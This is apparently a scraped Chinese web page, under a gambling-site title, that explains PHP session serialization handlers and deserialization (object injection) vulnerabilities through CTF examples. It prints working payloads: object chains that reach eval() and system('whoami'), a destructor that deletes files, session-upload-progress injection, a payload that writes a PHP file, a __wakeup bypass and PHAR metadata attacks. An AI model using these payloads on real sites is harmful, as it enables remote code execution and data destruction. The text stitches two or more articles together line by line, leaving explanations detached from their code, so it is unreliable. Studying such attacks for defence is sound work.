澳门新浦京娱乐游戏PHP 中 Session 反序列化机制

简介

在php.ini中存在三项配置项:

session.save_path=""   --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start   boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认使用php

以上的选项就是与PHP中的Session存储和序列话存储有关的选项。

在使用xampp组件安装中,上述的配置项的设置如下:

session.save_path="D:xampptmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files          表明session是以文件的方式来进行存储的
session.auto_start=0                表明默认不启动session
session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎

在上述的配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

0x00 序列化函数

又到了金三银四跳槽季,很多小伙伴都开始为面试做准备,今天小编就给大家分享一个网安常见的面试问题:PHP反序列化漏洞。

存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。

存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。

假设我们的环境是xampp,那么默认配置如上所述。

在默认配置情况下:

<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>

最后的session的存储和显示如下:

澳门新浦京娱乐游戏 1

可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";。name是键值,s:6:"spoock";serialize("spoock")的结果。

在php_serialize引擎下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。

在php_binary引擎下:

<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>

SESSION文件的内容是names:6:"spoock";。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)

serialize():返回带有变量类型和值的字符串

虽然PHP反序列化漏洞利用的条件比较苛刻,但是一旦被利用就会产生很严重的后果,所以很多公司都比较关注这个技能点,小伙伴们一定要掌握哦。

序列化简单利用

test.php

<?php
class syclover{
        var $func="";
        function __construct() {
            $this->func = "phpinfo()";
        }
        function __wakeup(){
            eval($this->func);
        }
}
unserialize($_GET['a']);
?>

在11行对传入的参数进行了序列化。我们可以通过传入一个特定的字符串,反序列化为syclover的一个示例,那么就可以执行eval()方法。我们访问localhost/test.php?a=O:8:"syclover":1:{s:4:"func";s:14:"echo "spoock";";}。那么反序列化得到的内容是:

object(syclover)[1]
  public 'func' => string 'echo "spoock";' (length=14)

最后页面输出的就是spoock,说明最后执行了我们定义的echo "spoock";方法。

这就是一个简单的序列化的漏洞的演示

unserialize():想要将已序列化的字符串变回 PHP 的值

PHP序列化与反序列化介绍

PHP Session中的序列化危害

PHP中的Session的实现是没有的问题,危害主要是由于程序员的Session使用不当而引起的。

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法。例如:

$_SESSION['ryat'] = '|O:11:"PeopleClass":0:{}';

上述的$_SESSION的数据使用php_serialize,那么最后的存储的内容就是a:1:{s:6:"spoock";s:24:"|O:11:"PeopleClass":0:{}";}

但是我们在进行读取的时候,选择的是php,那么最后读取的内容是:

array (size=1)
  'a:1:{s:6:"spoock";s:24:"' => 
    object(__PHP_Incomplete_Class)[1]
      public '__PHP_Incomplete_Class_Name' => string 'PeopleClass' (length=11)

这是因为当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,那么就会将a:1:{s:6:"spoock";s:24:"作为SESSION的key,将O:11:"PeopleClass":0:{}作为value,然后进行反序列化,最后就会得到PeopleClas这个类。

这种由于序列话化和反序列化所使用的不一样的引擎就是造成PHP
Session序列话漏洞的原因。

测试代码:

什么是序列化与反序列化

实际利用

存在s1.php和us2.php,2个文件所使用的SESSION的引擎不一样,就形成了一个漏洞、s1.php,使用php_serialize来处理session

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

us2.php,使用php来处理session

ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}

当访问s1.php时,提交如下的数据:

localhost/s1.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

此时传入的数据会按照php_serialize来进行序列化。

此时访问us2.php时,页面输出,spoock成功执行了我们构造的函数。因为在访问us2.php时,程序会按照php来反序列化SESSION中的数据,此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $a  = $a;
      $this->b = $b;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
    $a = ‘hello’;
    $b = 123;
    $c = false;
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    var_dump(serialize($a));
    var_dump(serialize($b));
    var_dump(serialize($c));
    var_dump(serialize($d));
    var_dump(serialize($e));
?>
运行结果:

维基百科中这样定义:序列化(serialization)在计算机科学的数据处理中,是指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。

CTF

在安恒杯中的一道题目就考察了这个知识点。题目中的关键代码如下:

class.php

<?php

highlight_string(file_get_contents(basename($_SERVER['PHP_SELF'])));
//show_source(__FILE__);

class foo1{
        public $varr;
        function __construct(){
                $this->varr = "index.php";
        }
        function __destruct(){
                if(file_exists($this->varr)){
                        echo "<br>文件".$this->varr."存在<br>";
                }
                echo "<br>这是foo1的析构函数<br>";
        }
}

class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = null;
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
        function __desctuct(){
                echo "<br>这是foo2的析构函数<br>";
        }
}

class foo3{
        public $varr;
        function execute(){
                eval($this->varr);
        }
        function __desctuct(){
                echo "<br>这是foo3的析构函数<br>";
        }
}

?>

index.php

<?php

ini_set('session.serialize_handler', 'php');

require("./class.php");

session_start();

$obj = new foo1();

$obj->varr = "phpinfo.php";

?>

通过代码发现,我们最终是要通过foo3中的execute来执行我们自定义的函数。

那么我们首先在本地搭建环境,构造我们需要执行的自定义的函数。如下:

myindex.php

<?php
class foo3{
        public $varr='echo "spoock";';
        function execute(){
                eval($this->varr);
        }
}
class foo2{
        public $varr;
        public $obj;
        function __construct(){
                $this->varr = '1234567890';
                $this->obj = new foo3();
        }
        function __toString(){
                $this->obj->execute();
                return $this->varr;
        }
}

class foo1{
        public $varr;
        function __construct(){
                $this->varr = new foo2();
        }
}

$obj = new foo1();
print_r(serialize($obj));
?>

在foo1中的构造函数中定义$varr的值为foo2的实例,在foo2中定义$obj为foo3的实例,在foo3中定义$varr的值为echo "spoock"。最终得到的序列话的值是

O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:10:"1234567890";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:14:"echo "spoock";";}}}

这样当上面的序列话的值写入到服务器端,然后再访问服务器的index.php,最终就会执行我们预先定义的echo "spoock";的方法了。

写入的方式主要是利用PHP中Session Upload
Progress来进行设置,具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中,上传的页面的写法如下:

<form action="index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

最后就会将文件名写入到session中,具体的实现细节可以参考PHP手册。

那么最终写入的文件名是|O:4:"foo1":1:{s:4:"varr";O:4:"foo2":2:{s:4:"varr";s:1:"1";s:3:"obj";O:4:"foo3":1:{s:4:"varr";s:12:"var_dump(1);";}}}。注意与本地反序列化不一样的地方是要在最前方加上|

但是我在进行本地测试的时候,发现无法实现安恒这道题目所实现的效果,但是最终的原理是一样的。

string ‘s:5:”hello”;’ (length=12)
string ‘i:123;’ (length=6)
string ‘b:0;’ (length=4)
string ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ (length=46)
string ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ (length=46)
序列化字符串格式: 变量类型:变量长度:变量内容 。

概念很容易理解,其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

总结

通过对PHP中的SESSION的分析,对PHP中的SESSION的实现原理有了更加深刻的认识。这个PHP的SESSION问题也是一个很好的问题。上述的这篇文章不仅使大家PHP中的SESSION的序列化漏洞有一个认识,也有助于程序员加强在PHP中的SESSION机制的理解。

如果序列化的是一个对象,序列化字符串格式为:

那么序列化与反序列化有什么用处呢?

参考

  • PHP Session
    序列化及反序列化处理器:
  • PHP序列化与反序列化解读:
  • php序列化:
  • Joomla远程代码执行漏洞分析(总结):
  • web3
    session反序列化:

变量类型:类名长度:类名:属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值内容}

举个例子:

将上述结果反序列化输出,执行结果:

比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。

string ‘hello’ (length=5)
int 123
boolean false
object(test)[1]
  public ‘a’ => null
  public ‘b’ => string ‘hellob’ (length=6)
object(test1)[1]
  public ‘a’ => string ‘hello’ (length=5)
  public ‘b’ => null
0x01 对象序列化

也就是说,序列化的目的是方便数据的传输和存储。

当序列化对象时,PHP 将在序列动作之前调用该对象的成员函数
sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用
unserialize() 恢复对象时, 将调用 wakeup()成员函数。

在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等。

在serialize()函数执行时,会先检查类中是否定义了
sleep()函数,如果存在,则首先调用
sleep()函数,如果不存在,就保留序列字符串中的所有属性。

常见的序列化格式:二进制格式字节数组json字符串xml字符串

在unserialize()函数执行时,会先检查是否定义了 wakeup()函数。如果
wakeup()存在,将执行__wakeup()函数,会使变量被重新赋值。

PHP序列化与反序列化

serialize()测试代码:

PHP通过string serialize ( mixed $value )和mixed unserialize ( string
$str )两个函数实现序列化和反序列化。

<?php
  class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
      
   
     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
    $d = new test(‘helloa’,’hellob’,’helloc’);
    $e = new test1(‘hello’);
   
    serialize($d);
    serialize($e);
   
    var_dump($d);
    var_dump($e);
?>

下面是比较典型的PHP反序列化漏洞中可能会用到的魔术方法:

执行结果:

void __wakeup

b has changed b has changed
object(test)[1]
public ‘a’ => string ‘helloa’ (length=6)
public ‘b’ => string ‘hib’ (length=3)
object(test1)[2]
public ‘a’ => string ‘hello’ (length=5)
public ‘b’ => string ‘hib’ (length=3)
unserialize()测试代码:

unserialize会检查是否存在一个_wakeup 方法。如果存在,则会先调用_wakeup
方法,预先准备对象需要的资源。

class test{
     var $a;
     var $b;
     function __construct($a,$b,$c){
      $this->a  = $a;
      $this->b = $b;
   
     }
     function __sleep(){
      echo “b has changed”.”n”;
      $this->b = ‘hib’;
      return $this->b;
      
   
     }
     function __wakeup(){
      echo “a has changed”.”n”;
      $this->a = ‘hia’;
   
     }
    }
   
    class test1 extends test{
   
      function __construct($a){
       $this->a = $a;
      }
     }
   
        $d = ‘O:4:”test”:2:{s:1:”a”;N;s:1:”b”;s:6:”hellob”;}’ ;
        $e = ‘O:5:”test1″:2:{s:1:”a”;s:5:”hello”;s:1:”b”;N;}’ ;
   
        var_dump(unserialize($d));
        var_dump(unserialize($e));

void __construct ([ mixed $args [, $… ]])

运行结果:

具有构造函数的类会在每次创建新对象时先调用此方法。

a has changed
object(test)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => string ‘hellob’ (length=6)
a has changed
object(test1)[1]
  public ‘a’ => string ‘hia’ (length=3)
  public ‘b’ => null
0x02 PHP序列化的利用

void __destruct

1、magic函数和序列化

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。

参考: php对象注入

public string __toString

除了 sleep()和 wakeup()函数,在序列化时会执行外,还有下面几种利用方式。

__toString 方法用于一个类被当成字符串时应怎样回应。例如 echo
$obj;应该显示些什么。

Class File
 {
  function __construct($var,$file1,$file2){
   $this->var = $var;
   $this->file1 = $file1;
   $this->file2 = $file2;
   echo $this->var.’ and ‘.$this->file1.’ and
‘.$this->file2.’defined’;
  }
  function __destruct(){
   unlink(dirname(__FILE__) . ‘/’ . $this->file1);
   echo $this->file1.’deleted’;
  }
  function __toString(){
   return file_get_contents($this->file2);

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR
级别的致命错误。

  }

PHP反序列化漏洞

 }

漏洞成因

// $file = new File(‘hello’,’123.txt’,’456.php’);
// var_dump(serialize($file));
echo
unserialize(‘O:4:”File”:3:{s:3:”var”;s:5:”hello”;s:5:”file1″;s:7:”123.txt”;s:5:”file2″;s:7:”456.php”;}’);
( construct()函数,在实例化一个对象时被调用,一般用来给属性赋值,
destruct()在实例化对象完成后执行,__toString()函数在echo一个对象时被调用)

PHP反序列化漏洞又称PHP对象注入,是因为程序对输入数据处理不当导致的。

construct()函数内定义了三个变量,var这个没什么暖用,file1和file2,我们在序列化字符串中定义为已经服务器上已经存在的两个文件123.txt和456.php,destruct()中有一个unlink方法,是删除file1,__toString()中,读取file2的内容。

先看一个例子:

执行结果:

澳门新浦京娱乐游戏 2

123.txtdeleted

这个例子中,析构函数会回显$test的值,我们可以构造一个对象,控制$test的值,达到控制数据流的目的,实现反序列化漏洞的利用。

查看源码:

构造过程如下:

<?php  echo 123; ?>123.txtdeleted

澳门新浦京娱乐游戏 3

将字符串反序列化后,由于已经对变量赋过值,那么就不会再执行
construct()函数,在 construct()中赋值的变量也是无效的。上述代码中
destruct()方法在在反序列化后,实例化对象结束后执行了,
tostring()函数在echo unserialize()处,也被执行了

澳门新浦京娱乐游戏 4

如果说在当前页面中有request系列函数,那么就可以造成php对象注入:

利用方式

2、三个白帽挑战赛第三期

一、__wakeup绕过

是一道源码审计题,题目大致是sql注入结合序列化写入文件

(CVE-2016-7124)

部分源码也是在某个大神 博客
看到的(由于我没有做过题,所以我只截取了和序列化漏洞相关的部分源码):

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。

class Cache extends ArrayObject
{
  public $path;
  function __construct($path)
  {
    parent::__construct([],ArrayObject::STD_PROP_LIST |
ArrayObject::ARRAY_AS_PROPS);
    $this->path = $path;
    if(file_exists($path)){
      $this->cache =
unserialize(file_get_contents($this->path));
    }
  function offset(){
  //一些不知道干嘛用的代码
  }

影响版本:PHP before 5.6.257.x before 7.0.10

  }

DEMO如下:

  function __destruct()
  {
    $cache = $this->serialize();
    file_put_contents($this->path, $cache);
   
  }

澳门新浦京娱乐游戏 5

}

澳门新浦京娱乐游戏 6

又由于我没有做过题。。。。所以模拟了这样一个页面去实例化:

澳门新浦京娱乐游戏 7

include(‘cache.php’);
$cache = new Cache(‘path.txt’);

二、注入对象构造方法

这题好像是这样的:

当目标对象被private、protected修饰时的构造方法。

通过SQL注入,可控一个文件,假设可控的是path.txt这个文件(在实际的题目中,SQL注入权限不够,web目录下不可写文件,但其他目录可写,已知目录下有文件md5(username).txt,文件名知道,内容可控),这段代码的意思是,判断该文件存在后,读取文件内容,并且反序列化内容,结束时再经过序列化存进文件中。所以可以在可控文件中构造序列化字符串,改变当前的path属性为我们想要的目录。

示例代码:

path.txt:

澳门新浦京娱乐游戏 8

C:5:”Cache”:103:{x:i:3;a:0:{};m:a:2:{s:4:”path”;s:25:”F:wampwwwtestpath.php”;s:5:”cache”;s:18:”<?php
echo 123; ?>”;}}

澳门新浦京娱乐游戏 9

上述字符串是通过输出serialize(一个实例化的Cache对象)构造的,当__construct()执行时,就会将上述字符串反序列化,此时已经实例化了一个cache对象,而它的path值变成了我们定义的”F:wampwwwtestpath.php”,并且多了一个cache属性,值为
<?php echo 123; ?>
,这里的属性名cache是可以随意取的,但如果源码中:

同名方法的利用

$cache = $this->serialize();
变成了:

澳门新浦京娱乐游戏 10

$cache = serialize($this->cache);
那么path.txt中的 “cache”;s:18:”<?php echo 123; ?>”
;属性名就必须和源码serialize($this->cache)当中的属性名相同。

这个例子中,class B和class
C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class
C的action方法,实现任意代码执行。

所以,现在服务器上其实有两个对象,一个是 $cache = new Cache(‘path.txt’);
定义的$cache,它的path属性值为path.txt;另一个对象是

构造代码:

C:5:”Cache”:103:{x:i:3;a:0:{};m:a:2:{s:4:”path”;s:25:”F:wampwwwtestpath.php”;s:5:”cache”;s:18:”<?php
echo 123; ?>”;}} 被反序列化后的对象,它的path属性的值为path.php。

澳门新浦京娱乐游戏 11

两个对象实例化结束后,会调用其__destruct()方法,将对象自身序列化,写入path属性定义的路径中。这样就将包含
<?php echo 123; ?> 的内容写进了path.php中。

澳门新浦京娱乐游戏 12

3、安恒ctf web3

三、Session反序列化漏洞

一道源码审计题,解题思路是session上传进度,和session序列化处理器漏洞相结合。

PHP中的Session经序列化后存储,读取时再进行反序列化。

session上传进度:

相关配置:

参考: upload-progress

session.save_path=””//设置session的存储路径

当 session.upload_progress.enabled INI
选项开启时,在一个上传处理中,在表单中添加一个与INI中设置的
session.upload_progress.name
同名变量时,$_SESSION中就会添加一个保存上传信息的session值,它的session名是
INI 中定义的 session.upload_progress.prefix 加表单中的post的
session.upload_progress.name

session.save_handler=””//设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数

测试代码:

session.auto_start
boolen//指定会话模块是否在请求开始时启动一个会话默认为0不启动

<form action=”” method=”POST” enctype=”multipart/form-data”>
 <input type=”hidden” name=”<?php echo
ini_get(“session.upload_progress.name”); ?>” value=”123″ />
 <input type=”file” name=”123123″ />
 <input type=”submit” />
</form>
<?php
 session_start();
 var_dump($_SESSION);
?>

session.serialize_handler
string//定义用来序列化/反序列化的处理器名字。默认使用php

(要查看到上传session,INI貌似要设置这个session.upload_progress.cleanup
= Off)

PHP中有三种序列化处理器,如下表所示:

session序列化处理器:

澳门新浦京娱乐游戏 13

参考: session序列化

示例代码:

当session.auto_start = 0时:

澳门新浦京娱乐游戏 14

两个脚本注册 Session
会话时使用的序列化处理器(session.serialize_handler)不同,就会出现安全问题。

命名为sess_Session_id。

经过测试发现在1.php页面注册session.serialize_handler=‘php_serialize’;

存储内容为序列化后的session:test|s:4:”test”;

在2.php中注册session.serialize_handler=‘php’;

不同处理器的格式不同,当不同页面使用了不同的处理器时,由于处理的Session序列化格式不同,就可能产生反序列化漏洞。

那么在1.php中伪造一个格式为:竖线加上对象序列化后的字符串

下面演示漏洞利用:

如: |O:4:”ryat”:1:{s:2:”hi”;s:4:”ryat”;}
那么会按照 php 处理器的反序列化格式读取数据,成功地实例化了该对象。

澳门新浦京娱乐游戏 15

反之,如果是从php->php_serialize,是不可行的。

该页面中有类demo3,开启session,并用php处理器处理session。

当session.auto_start = 1时:

澳门新浦京娱乐游戏 16

只能注入 PHP 的内置类

通过session.php设置session,通过generate.php构造实例。

web3 源码:

由于session.php与demo3.php采用的序列化处理器不同,我们可以构造“误导”处理器,达到漏洞利用的目的。

class.php:

实例构造:

    <?php
    class foo1{
            public $varr;
            function __construct(){
                    $this->varr = “index.php”;
            }
            function __destruct(){
                    if(file_exists($this->varr)){
                            echo $this->varr;
                    }
                    echo “这是foo1的析构函数”;
            }
    }
   
    class foo2{
            public $varr;
            public $obj;
            function __construct(){
                    $this->varr = ‘1234567890’;
                    $this->obj = null;
            }
            function __toString(){
                    $this->obj->execute();
                    return $this->varr;
            }
            function __desctuct(){
                    echo “这是foo2的析构函数”;
            }
    }
   
    class foo3{
            public $varr;
            function execute(){
                    eval($this->varr);
            }
            function __desctuct(){
                    echo “这是foo3的析构函数”;
            }
    }
   
    ?>
index.php:

澳门新浦京娱乐游戏 17

<?php
   
    ini_set(‘session.serialize_handler’, ‘php’);
    
    require(“./sessionTest.php”);
    
    session_start();
    $obj = new foo1();
    
    $obj->varr = “phpinfo.php”;
   
    ?>
想办法让程序执行foo3的excute()函数,就要通过foo2的
toString(),要执行foo2的 toString()就要通过echo
foo2,刚好foo1的__deatruct()有段这样的代码 echo $this->varr;

访问demo3.php成功创建了一个类demo3的实例。

所以这样构造:

四、PHAR利用

include(‘class.php’);
$t1 = new foo1;
$t2 = new foo2;
$t3 = new foo3;
$t3->varr = “system(‘whoami’);”;
$t2->obj = $t3;
$t1->varr = $t2;

1、PHAR简介

$s1 = serialize($t1);
var_dump($s1);
构造出这样一串:
O:4:”foo1”:1:{s:4:”varr”;O:4:”foo2”:2:{s:4:”varr”;s:10:”1234567890”;s:3:”obj”;O:4:”foo3”:1:{s:4:”varr”;s:17:”system(‘whoami’);”;}}}

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3
或更高版本中默认开启,这个特性使得 PHP也可以像 Java
一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar
包,直接放到 PHP-FPM 中运行。

所以构造一个表单,向class.php上传文件,通过session上传进度保存的session,来触发session序列化漏洞,由于INI中设置的序列化处理器为php_serialize,而index.php中将其设置为php,就使得伪造的session被成功地实例化了。

2、PHAR文件结构

有两类不同的插法~

PHAR文件由3或4个部分组成:

1、将序列化字符串插入PHP_SESSION_UPLOAD_PROGRESS

stub //PHAR文件头

session名变成了PHP_SESSION_UPLOAD_PROGRESS_123,|后面的payload会替换整个session值

stub就是一个简单的php文件,最简文件头为:

2、将序列化字符串插入post内容中

是可有可无的,若使用?>,则;与?>间至多一个空格。

因为session会存上传文件的内容和文件名,所以也可以将序列化字符串插入name、filename.文件上传原本的session值一直到name前面一个参数为止,变成了session名,name参数|后面的payload变成了session值

文件头中必须包含__HALT_COMPILER;除此之外没有限制。(PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测)

manifest describing the contents
//PHAR文件描述该部分存储文件名、文件大小等信息,如下图所示。

澳门新浦京娱乐游戏 18

图中标出的地方,存储了经serialize的Meta-data,有序列化过程必有反序列化过程,这就是我们的注入点。

the file contents

PHAR文件内容

[optional] a signature for verifying Phar integrity (phar file format
only) //可选的签名部分,支持MD5和SHA1

澳门新浦京娱乐游戏 19

3、攻击方法

2018年Black Hat研究院Sam Thomas的议题:

It’s a PHP unserialization vulnerability Jim, but not as we know
it提供了一种新的php反序列化攻击姿势。PHAR文件的Meta-data可以是任何能够序列化的PHP对象,当PHAR文件被任何文件系统函数首次通过phar://协议解析时Meta-data部分会被反序列化,这个反序列化过程就是我们的攻击点,Meta-data部分填充payload。

漏洞利用条件:

在目标系统上投放一个装在payload的可访问的PHAR文件,通过文件系统函数利用phar://伪协议解析目标PHAR文件。

下面演示利用过程:

先创建一个PHAR文件。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

澳门新浦京娱乐游戏 20

访问phar.php,在同目录下生成phar.phar文件。

澳门新浦京娱乐游戏 21

箭头标出Meta-data部分,可以看到为序列化后结果。

澳门新浦京娱乐游戏 22

输出了之前打包的phar文件中,test.txt文件内容,并成功实例化TestObject对象,调用了析构函数。

由于PHP仅通过stub部分判断文件是否为PHAR文件,我们可以通过添加文件头、修改后缀的方式绕过上传检测。

示例代码:

澳门新浦京娱乐游戏 23

发表评论

电子邮件地址不会被公开。 必填项已用*标注